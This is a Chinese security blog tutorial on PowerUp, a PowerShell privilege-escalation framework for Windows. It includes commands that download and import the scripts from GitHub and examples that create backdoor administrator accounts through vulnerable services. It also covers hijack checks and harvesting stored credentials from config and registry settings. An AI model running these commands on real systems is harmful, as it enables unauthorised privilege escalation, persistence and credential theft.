windows提权powershell框架 - powerup

admin 2022年1月10日08:42:45评论307 views字数 2799阅读9分19秒阅读模式

转载请注明:http://www.heresec.com/index.php/archives/123/

请各位关注http://www.heresec.com

用了小半天时间研究了一下windows提权辅助工具powerup,不多说,下面介绍下如何使用。

先下载三个脚本

(new-object System.Net.WebClient).DownloadFile
("https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1","
powerup.ps1")
(new-object System.Net.WebClient).DownloadFile
("https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.psd1",
"powerup.psd1")
(new-object System.Net.WebClient).DownloadFile
("https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.psm1",
"powerup.psm1")

导入模块

Import-Module .powerpreter.psm1

如果遇到问题禁止脚本执行

set-ExecutionPolicy RemoteSigned

好了,先就导入好了。我们可以使用命令

Get-Command -Module powerup

来查看所有的命令

windows提权powershell框架 - powerup

下面介绍功能。

Get-ServiceUnquoted 获取存在漏洞的服务

windows提权powershell框架 - powerup
Invoke-ServiceCMD 执行命令

windows提权powershell框架 - powerup
Invoke-ServiceUserAdd -ServiceName BaiduUpdater "net" 创建net用户 密码Password123!

windows提权powershell框架 - powerup
Find-DLLHijack 检查每个进程的所有加载的模块,返回已经加载了的模块但不在其可执行文件目录的目
录。

windows提权powershell框架 - powerup
Find-PathHijack 会首先检查当前%PATH%是否存在哪些目录是当前用户可写入的。

windows提权powershell框架 - powerup
Write-HijackDll 输出一个自定义命令并且能够自删除的bat文件到$env:Tempdebug.bat,并输出一个能
够启动这个bat文件的dll。

Write-UserAddMSI 生成一个安装文件,运行这个安装文件,则弹出添加用户的框。

windows提权powershell框架 - powerup
Write-UserAddServiceBinary -ServiceName 存在漏洞的服务名称
将语句写入exe文件中,使用C:WindowsMicrosoft.NETFrameworkv2.0.50727installutil.exe进行注册服务,然后net start 启动服务。会创建一个john : Password123!的管理员用户。
Write-ServiceEXE 方式相同,是把命令写入exe文件中。
Write-ServiceEXE -ServiceName 漏洞服务 -CMD "whoami"

Write-ServiceEXE 使用Write-UserAddServiceBinary 创建一个用户并加入指定的组
PS C:>Write-ServiceEXE -ServiceName 漏洞服务 -UserName backdoor -Password password -
GroupName "Power Users"
向Power Users组添加一个账号为backdoor密码为password的用户。
PS C:>Write-ServiceEXE -ServiceName 漏洞服务
添加 john用户密码为Password123!到administrators组。

windows提权powershell框架 - powerup

Get-ApplicationHost 从系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码。

Get-RegAlwaysInstallElevated 如果AlwaysInstallElevated注册表项是被设置,意味着的MSI文件是以system权限运行的。

Get-RegAutoLogon 检测Winlogin注册表AutoAdminLogon项有没有被设置,查询默认的用户名和密码。

Get-ServiceDaclPermission 返回当前脆弱服务对当前用户的自由访问控制列表,如果无法确定,那么
返回false。
PS C:>Get-ServiceDaclPermission -ServiceName 漏洞服务 -UserSid S-1-5-21-3148271196-972974428
-4261668994-1110
返回当前脆弱服务对某用户的自由访问控制列表,如果无法确定,那么返回false。

Get-ServiceDetail 返回某服务的信息。
Get-ServiceDetail -ServiceName BaiduUpdater

windows提权powershell框架 - powerup
Get-ServiceFilePermission 此功能能够查找当前用户能够在哪些服务的目录写入相关联的可执行文件,如果这个可执行文件或config文件被覆盖了,权限将会提升(小歪个人理解,查找当前用户在哪些开机启动的服务的目录有写入权限,覆盖启动的文件为木马文件,当服务器启动或重启的时候即可上线。)

windows提权powershell框架 - powerup
Get-UnattendedInstallFile 此功能能够查找4个路径,是残留的未被注意到的安装文件的路径,可能会有部署凭据。

Get-VulnAutoRun 返回开机自启的应用程序的路径和注册表键值,并且当前用户能够修改的。

windows提权powershell框架 - powerup
Get-VulnSchTask 返回当前用户能够修改的计划任务程序的名称和路径。

windows提权powershell框架 - powerup
Get-Webconfig 返回当前服务器上的web.config文件中的数据库连接字符串的明文。

windows提权powershell框架 - powerup
Invoke-AllChecks 执行所有的脚本来检查。

windows提权powershell框架 - powerup
Invoke-ServiceDisable禁用服务
Invoke-ServiceEnable 启用服务
Invoke-ServiceStart 启动服务
Invoke-ServiceStop 停止服务
用法Invoke-ServiceDisable -ServiceName 服务名称。

Restore-ServiceEXE 恢复服务的可执行文件到原始目录。

Test-ServiceDaclPermission 检查某个用户是否在一个服务有自由访问控制的权限,返回true或false。

转载请注明:http://www.heresec.com/index.php/archives/123/

请各位关注http://www.heresec.com


本文始发于微信公众号(关注安全技术):windows提权powershell框架 - powerup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月10日08:42:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   windows提权powershell框架 - poweruphttps://cn-sec.com/archives/502821.html

发表评论

匿名网友 填写信息